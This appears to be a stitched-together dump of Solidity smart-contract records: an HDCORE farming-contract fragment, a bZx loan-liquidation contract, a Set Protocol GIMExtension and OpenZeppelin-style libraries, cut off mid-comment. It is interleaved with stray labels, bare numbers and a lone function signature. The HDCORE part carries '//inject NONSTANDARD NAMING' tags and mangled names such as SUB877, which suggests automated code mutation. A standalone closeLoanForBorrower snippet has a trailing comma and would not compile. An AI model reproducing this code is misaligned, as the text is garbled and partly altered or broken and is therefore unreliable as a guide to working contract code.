Update balances of from this is not withdrawal but claiming HDCORE farmed if(_amount > 0) { user.amount = user.amount.SUB877(_amount); pool.token.SAFETRANSFER239(address(to), _amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit WITHDRAW483(to, _pid, _amount); } function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); } function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING if(user.amount == 0) return; uint256 pending = user .amount .MUL487(pool.accHdcorePerShare) .DIV156(1e12) .SUB877(user.rewardDebt); if(pending > 0) { SAFEHDCORETRANSFER939(from, pending); } } // function that lets owner/governance contract // approve allowance for any token inside this contract // This means all future UNI like airdrops are covered // And at the same time allows us to give allowance to strategy contracts. // Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD"); require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks IERC20(tokenAddress).APPROVE926(contractAddress, _amount); } function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING uint size; assembly { size := extcodesize(addr) } return size > 0; } // Withdraw without caring about rewards. EMERGENCY ONLY. // !Caution this will remove all your pending rewards! function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; pool.token.SAFETRANSFER239(address(msg.sender), user.amount); emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; // No mass update dont update pending rewards } // Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs. function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING if(_amount == 0) return; uint256 hdcoreBal = hdcore.BALANCEOF536(address(this)); if (_amount > hdcoreBal) { console.LOG714("transfering out for to person:", _amount); console.LOG714("Balance of this address is :", hdcoreBal); hdcore.TRANSFER353(_to, hdcoreBal); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } else { hdcore.TRANSFER353(_to, _amount); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } if(pending_DEV_rewards > 0) { uint256 devSend = pending_DEV_rewards; // Avoid recursive loop pending_DEV_rewards = 0; SAFEHDCORETRANSFER939(devaddr, devSend); } } // Update dev address by the previous dev. // Note onlyOwner functions are meant for the governance contract // allowing HDCORE governance token holders to do this functions. function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING devaddr = _devaddr; } address private _superAdmin; event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING return _superAdmin; } modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin."); _; } // Assisns super admint to address 0, making it unreachable forever function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING emit SUPERADMINTRANSFERED362(_superAdmin, address(0)); _superAdmin = address(0); } // Super admin can transfer its powers to another address function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit SUPERADMINTRANSFERED362(_superAdmin, newOwner); _superAdmin = newOwner; } }
inject NONSTANDARD NAMING
function AT450(UintSet storage set, uint256 index) internal view returns (uint256) {
14,087,574
/** * Copyright 2017-2019, bZeroX, LLC. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.3; pragma experimental ABIEncoderV2; import "../openzeppelin-solidity/Math.sol"; import "../proxy/BZxProxiable.sol"; import "../shared/OrderClosingFunctions.sol"; import "../BZxVault.sol"; import "../oracle/OracleInterface.sol"; contract LoanHealth_MiscFunctions is BZxStorage, BZxProxiable, OrderClosingFunctions { using SafeMath for uint256; constructor() public {} function() external { revert("fallback not allowed"); } function initialize( address _target) public onlyOwner { targets[bytes4(keccak256("liquidatePosition(bytes32,address,uint256)"))] = _target; targets[bytes4(keccak256("closeLoan(bytes32)"))] = _target; targets[bytes4(keccak256("closeLoanForBorrower(bytes32,address)"))] = _target; targets[bytes4(keccak256("forceCloseLoan(bytes32,address)"))] = _target; targets[bytes4(keccak256("shouldLiquidate(bytes32,address)"))] = _target; } /// @dev Checks that a position meets the conditions for liquidation, then closes the position and loan. /// @param loanOrderHash A unique hash representing the loan order /// @param trader The trader of the position /// @param maxCloseAmount The maximum amount of loan principal to liquidate /// @dev A maxCloseAmount exceeding loanTokenAmountFilled or a maxCloseAmount of 0, will set the maximum to loanTokenAmountFilled. /// @return True on success function liquidatePosition( bytes32 loanOrderHash, address trader, uint256 maxCloseAmount) external nonReentrant tracksGas returns (bool) { require(trader != msg.sender, "BZxLoanHealth::liquidatePosition: trader can't liquidate"); require(msg.sender == tx.origin, "BZxLoanHealth::liquidatePosition: only EOAs can liquidate"); LoanPosition storage loanPosition = loanPositions[loanPositionsIds[loanOrderHash][trader]]; if (loanPosition.loanTokenAmountFilled == 0 || !loanPosition.active) { revert("BZxLoanHealth::liquidatePosition: loanPosition.loanTokenAmountFilled == 0 || !loanPosition.active"); } LoanOrder memory loanOrder = orders[loanOrderHash]; if (loanOrder.loanTokenAddress == address(0)) { revert("BZxLoanHealth::liquidatePosition: loanOrder.loanTokenAddress == address(0)"); } uint256 currentMargin = OracleInterface(oracleAddresses[loanOrder.oracleAddress]).getCurrentMarginAmount( loanOrder.loanTokenAddress, loanPosition.positionTokenAddressFilled, loanPosition.collateralTokenAddressFilled, loanPosition.loanTokenAmountFilled, loanPosition.positionTokenAmountFilled, loanPosition.collateralTokenAmountFilled ); if (!DEBUG_MODE && block.timestamp < loanPosition.loanEndUnixTimestampSec && currentMargin > loanOrder.maintenanceMarginAmount) { revert("BZxLoanHealth::liquidatePosition: loan is healthy"); } uint256 closeAmount; if ((!DEBUG_MODE && block.timestamp < loanPosition.loanEndUnixTimestampSec) || (DEBUG_MODE && currentMargin <= loanOrder.maintenanceMarginAmount)) { // loan hasn't ended uint256 desiredMargin = loanOrder.maintenanceMarginAmount .add(10 ether); // 10 percentage points above maintenance uint256 normalizedCollateral = currentMargin .mul(loanPosition.loanTokenAmountFilled) .div(desiredMargin); if (loanPosition.loanTokenAmountFilled > normalizedCollateral) { closeAmount = loanPosition.loanTokenAmountFilled .sub(normalizedCollateral); } else { closeAmount = loanPosition.loanTokenAmountFilled; } } else { // loans passed their end dates will fully closed if possible closeAmount = loanPosition.loanTokenAmountFilled; } if (maxCloseAmount == 0 || maxCloseAmount > loanPosition.loanTokenAmountFilled) { closeAmount = Math.min256(closeAmount, loanPosition.loanTokenAmountFilled); } else { closeAmount = Math.min256(closeAmount, maxCloseAmount); } uint256 loanAmountBought; if (loanOrder.interestAmount != 0) { (loanAmountBought,) = _settleInterest( loanOrder, loanPosition, closeAmount, true, // sendToOracle true // refundToCollateral ); } uint256 closeAmountUsable; if (loanPosition.positionTokenAddressFilled != loanOrder.loanTokenAddress) { if (loanPosition.positionTokenAmountFilled == 0) { loanPosition.positionTokenAddressFilled = loanOrder.loanTokenAddress; if (loanAmountBought != 0) { closeAmountUsable = loanAmountBought; } } else { // If the position token is not the loan token, then we need to buy back the loan token prior to closing the loan. // transfer the current position token to the Oracle contract if (!BZxVault(vaultContract).withdrawToken( loanPosition.positionTokenAddressFilled, oracleAddresses[loanOrder.oracleAddress], loanPosition.positionTokenAmountFilled)) { revert("MiscFunctions::liquidatePosition: BZxVault.withdrawToken failed"); } uint256 positionTokenAmountUsed; (closeAmountUsable, positionTokenAmountUsed) = OracleInterface(oracleAddresses[loanOrder.oracleAddress]).liquidatePosition( loanOrder, loanPosition, closeAmount < loanPosition.loanTokenAmountFilled ? closeAmount .sub(loanAmountBought) : MAX_UINT // maxDestTokenAmount ); if (positionTokenAmountUsed == 0) { revert("BZxLoanHealth::liquidatePosition: liquidation not allowed"); } if (loanAmountBought != 0) { closeAmountUsable = closeAmountUsable .add(loanAmountBought); } if (closeAmount == loanPosition.loanTokenAmountFilled) { if (loanPosition.positionTokenAmountFilled > positionTokenAmountUsed) { // left over sourceToken needs to be dispursed if (!BZxVault(vaultContract).withdrawToken( loanPosition.positionTokenAddressFilled, closeAmountUsable >= loanPosition.loanTokenAmountFilled ? loanPosition.trader : orderLender[loanOrderHash], loanPosition.positionTokenAmountFilled.sub(positionTokenAmountUsed) )) { revert("BZxLoanHealth::liquidatePosition: BZxVault.withdrawToken excess failed"); } } // the loan token becomes the new position token loanPosition.positionTokenAddressFilled = loanOrder.loanTokenAddress; loanPosition.positionTokenAmountFilled = closeAmountUsable; } else { loanPosition.positionTokenAmountFilled = loanPosition.positionTokenAmountFilled.sub(positionTokenAmountUsed); } } } else { if (loanPosition.positionTokenAmountFilled > closeAmount) { closeAmountUsable = closeAmount; loanPosition.positionTokenAmountFilled = loanPosition.positionTokenAmountFilled.sub(closeAmount); } else { closeAmountUsable = loanPosition.positionTokenAmountFilled; loanPosition.positionTokenAmountFilled = 0; } if (loanAmountBought != 0) { closeAmountUsable = closeAmountUsable .add(loanAmountBought); } } require(_finalizeLoan( loanOrder, loanPosition, // needs to be storage closeAmount, closeAmountUsable, true, // isLiquidation gasUsed // initial used gas, collected in modifier ),"BZxLoanHealth::liquidatePosition: _finalizeLoan failed"); return true; } /// @dev Called to close a loan in full /// @param loanOrderHash A unique hash representing the loan order /// @return True on success function closeLoan( bytes32 loanOrderHash) external nonReentrant tracksGas returns (bool) { return _closeLoan( loanOrderHash, msg.sender, // borrower gasUsed // initial used gas, collected in modifier ); } /// @dev Called to close a loan in full for someone else /// @param loanOrderHash A unique hash representing the loan order /// @param borrower The borrower whose loan to close in full (for margin trades, this has to equal the sender) /// @return True on success function closeLoanForBorrower( bytes32 loanOrderHash, address borrower) external nonReentrant tracksGas returns (bool) { return _closeLoan( loanOrderHash, borrower, gasUsed // initial used gas, collected in modifier ); } /// @dev Called by an admin to force close a loan early and return assets to the lender and trader as is. /// @param loanOrderHash A unique hash representing the loan order /// @param trader The trader of the position /// @return True on success function forceCloseLoan( bytes32 loanOrderHash, address trader) external onlyOwner tracksGas returns (bool) { uint256 positionId = loanPositionsIds[loanOrderHash][trader]; LoanPosition storage loanPosition = loanPositions[positionId]; require(loanPosition.loanTokenAmountFilled != 0 && loanPosition.active); LoanOrder memory loanOrder = orders[loanOrderHash]; require(loanOrder.loanTokenAddress != address(0)); if (loanOrder.interestAmount > 0) { _settleInterest( loanOrder, loanPosition, loanPosition.loanTokenAmountFilled, // closeAmount false, // sendToOracle false // interestToCollateralSwap ); } if (loanPosition.collateralTokenAmountFilled > 0) { require(BZxVault(vaultContract).withdrawToken( loanPosition.collateralTokenAddressFilled, loanPosition.trader, loanPosition.collateralTokenAmountFilled )); } if (loanPosition.positionTokenAmountFilled > 0) { require(BZxVault(vaultContract).withdrawToken( loanPosition.positionTokenAddressFilled, orderLender[loanOrderHash], loanPosition.positionTokenAmountFilled )); } uint256 closeAmount = loanPosition.loanTokenAmountFilled; loanPosition.positionTokenAmountFilled = closeAmount; // for historical reference loanPosition.loanTokenAmountFilled = 0; //loanPosition.loanTokenAmountUsed = 0; <- not used yet loanPosition.active = false; _removePosition( loanOrderHash, loanPosition.trader); emit LogLoanClosed( orderLender[loanOrderHash], loanPosition.trader, msg.sender, // loanCloser false, // isLiquidation loanOrder.loanOrderHash, loanPosition.positionId ); reentrancyLock = REENTRANCY_GUARD_FREE; // reentrancy safe at this point require(OracleInterface(oracleAddresses[loanOrder.oracleAddress]).didCloseLoan( loanOrder, loanPosition, msg.sender, // loanCloser closeAmount, false, // isLiquidation gasUsed )); return true; } /* * Constant public functions */ /// @dev Checks the conditions for liquidation with the oracle /// @param loanOrderHash A unique hash representing the loan order /// @param trader The trader of the position /// @return True if liquidation should occur, false otherwise function shouldLiquidate( bytes32 loanOrderHash, address trader) public view returns (bool) { LoanOrder memory loanOrder = orders[loanOrderHash]; if (loanOrder.loanTokenAddress == address(0)) { return false; } LoanPosition memory loanPosition = loanPositions[loanPositionsIds[loanOrderHash][trader]]; if (loanPosition.loanTokenAmountFilled == 0 || !loanPosition.active) { return false; } if (block.timestamp >= loanPosition.loanEndUnixTimestampSec) { return true; // expired loan } return OracleInterface(oracleAddresses[loanOrder.oracleAddress]).shouldLiquidate( loanOrder, loanPosition); } }
Called to close a loan in full for someone else loanOrderHash A unique hash representing the loan order borrower The borrower whose loan to close in full (for margin trades, this has to equal the sender) return True on success
function closeLoanForBorrower( bytes32 loanOrderHash, address borrower) external nonReentrant tracksGas returns (bool) { return _closeLoan( loanOrderHash, borrower, ); }
7,227,986
/* Copyright 2021 IndexCooperative Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; import { BaseAdapter } from "../lib/BaseAdapter.sol"; import { IBaseManager } from "../interfaces/IBaseManager.sol"; import { IGeneralIndexModule } from "../interfaces/IGeneralIndexModule.sol"; import { ISetToken } from "../interfaces/ISetToken.sol"; /** * @title GIMExtension * @author Set Protocol * * Smart contract manager extension that acts as a pass-through contract for interacting with GeneralIndexModule. * All functions are only callable by operator. startRebalance() on GIM maps to startRebalanceWithUnits on * GIMExtension. */ contract GIMExtension is BaseAdapter { using AddressArrayUtils for address[]; using SafeMath for uint256; /* ============ State Variables ============ */ ISetToken public setToken; IGeneralIndexModule public generalIndexModule; // GIM /* ============ Constructor ============ */ constructor(IBaseManager _manager, IGeneralIndexModule _generalIndexModule) public BaseAdapter(_manager) { generalIndexModule = _generalIndexModule; setToken = manager.setToken(); } /* ============ External Functions ============ */ /** * ONLY OPERATOR: Submits a startRebalance call to GeneralIndexModule. Uses internal function so that this contract can be inherited and * custom startRebalance logic can be added on top. Components array is sorted in new and old components arrays in order to conform to * startRebalance interface. See GIM for function specific restrictions. * @param _components Array of components involved in rebalance inclusive of components being removed from set (targetUnit = 0) * @param _targetUnits Array of target units at end of rebalance, maps to same index of _components array * @param _positionMultiplier Position multiplier when target units were calculated, needed in order to adjust target units if fees accrued */ function startRebalanceWithUnits( address[] calldata _components, uint256[] calldata _targetUnits, uint256 _positionMultiplier ) external onlyOperator { ( address[] memory newComponents, uint256[] memory newComponentsTargetUnits, uint256[] memory oldComponentsTargetUnits ) = _sortNewAndOldComponents(_components, _targetUnits); _startRebalance(newComponents, newComponentsTargetUnits, oldComponentsTargetUnits, _positionMultiplier); } /** * ONLY OPERATOR: Submits a setTradeMaximums call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _tradeMaximums Array of trade maximums mapping to correct component */ function setTradeMaximums( address[] memory _components, uint256[] memory _tradeMaximums ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setTradeMaximums.selector, setToken, _components, _tradeMaximums ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setExchanges call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _exchangeNames Array of exchange names mapping to correct component */ function setExchanges( address[] memory _components, string[] memory _exchangeNames ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setExchanges.selector, setToken, _components, _exchangeNames ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setCoolOffPeriods call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _coolOffPeriods Array of cool off periods to correct component */ function setCoolOffPeriods( address[] memory _components, uint256[] memory _coolOffPeriods ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setCoolOffPeriods.selector, setToken, _components, _coolOffPeriods ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setExchangeData call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _exchangeData Array of exchange specific arbitrary bytes data */ function setExchangeData( address[] memory _components, bytes[] memory _exchangeData ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setExchangeData.selector, setToken, _components, _exchangeData ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setRaiseTargetPercentage call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _raiseTargetPercentage Amount to raise all component's unit targets by (in precise units) */ function setRaiseTargetPercentage(uint256 _raiseTargetPercentage) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setRaiseTargetPercentage.selector, setToken, _raiseTargetPercentage ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setTraderStatus call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _traders Array trader addresses to toggle status * @param _statuses Booleans indicating if matching trader can trade */ function setTraderStatus( address[] memory _traders, bool[] memory _statuses ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setTraderStatus.selector, setToken, _traders, _statuses ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setAnyoneTrade call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _status Boolean indicating if anyone can call trade */ function setAnyoneTrade(bool _status) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setAnyoneTrade.selector, setToken, _status ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a initialize call to GeneralIndexModule. See GIM for function specific restrictions. */ function initialize() external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.initialize.selector, setToken ); invokeManager(address(generalIndexModule), callData); } /* ============ Internal Functions ============ */ /** * Internal function that creates calldata and submits startRebalance call to GeneralIndexModule. * * @param _newComponents Array of new components to add to allocation * @param _newComponentsTargetUnits Array of target units at end of rebalance for new components, maps to same index of _newComponents array * @param _oldComponentsTargetUnits Array of target units at end of rebalance for old component, maps to same index of * _setToken.getComponents() array, if component being removed set to 0. * @param _positionMultiplier Position multiplier when target units were calculated, needed in order to adjust target units * if fees accrued */ function _startRebalance( address[] memory _newComponents, uint256[] memory _newComponentsTargetUnits, uint256[] memory _oldComponentsTargetUnits, uint256 _positionMultiplier ) internal { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.startRebalance.selector, setToken, _newComponents, _newComponentsTargetUnits, _oldComponentsTargetUnits, _positionMultiplier ); invokeManager(address(generalIndexModule), callData); } /** * Internal function that sorts components into old and new components and builds the requisite target unit arrays. Old components target units * MUST maintain the order of the components array on the SetToken. The _components array MUST contain an entry for all current components even if * component is being removed (targetUnit = 0). This is validated implicitly by calculating the amount of new components that would be added as * implied by the array lengths, if more than the expected amount of new components are added then it implies an old component is missing. * * @param _components Array of components involved in rebalance inclusive of components being removed from set (targetUnit = 0) * @param _targetUnits Array of target units at end of rebalance, maps to same index of _components array */ function _sortNewAndOldComponents( address[] memory _components, uint256[] memory _targetUnits ) internal view returns (address[] memory, uint256[] memory, uint256[] memory) { address[] memory currentComponents = setToken.getComponents(); uint256 currentSetComponentsLength = currentComponents.length; uint256 rebalanceComponentsLength = _components.length; require(rebalanceComponentsLength >= currentSetComponentsLength, "Components array must be equal or longer than current components"); // We assume that there is an entry for each old component regardless of if it's 0, so any additional components in the array // must be added as a new component. Hence we can declare the length of the new components array as the difference between // rebalanceComponentsLength and currentSetComponentsLength uint256[] memory oldComponentsTargetUnits = new uint256[](currentSetComponentsLength); address[] memory newComponents = new address[](rebalanceComponentsLength.sub(currentSetComponentsLength)); uint256[] memory newTargetUnits = new uint256[](rebalanceComponentsLength.sub(currentSetComponentsLength)); uint256 newCounter; // Count amount of components added to newComponents array to add new components to next index for (uint256 i = 0; i < rebalanceComponentsLength; i++) { address component = _components[i]; (uint256 index, bool isIn) = currentComponents.indexOf(component); if (isIn) { oldComponentsTargetUnits[index] = _targetUnits[i]; // Use index in order to map to correct component in currentComponents array } else { require(newCounter < newComponents.length, "Unexpected new component added"); newComponents[newCounter] = component; newTargetUnits[newCounter] = _targetUnits[i]; newCounter = newCounter.add(1); } } return (newComponents, newTargetUnits, oldComponentsTargetUnits); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays * * CHANGELOG: * - 4/27/21: Added validatePairsWithArray methods */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no 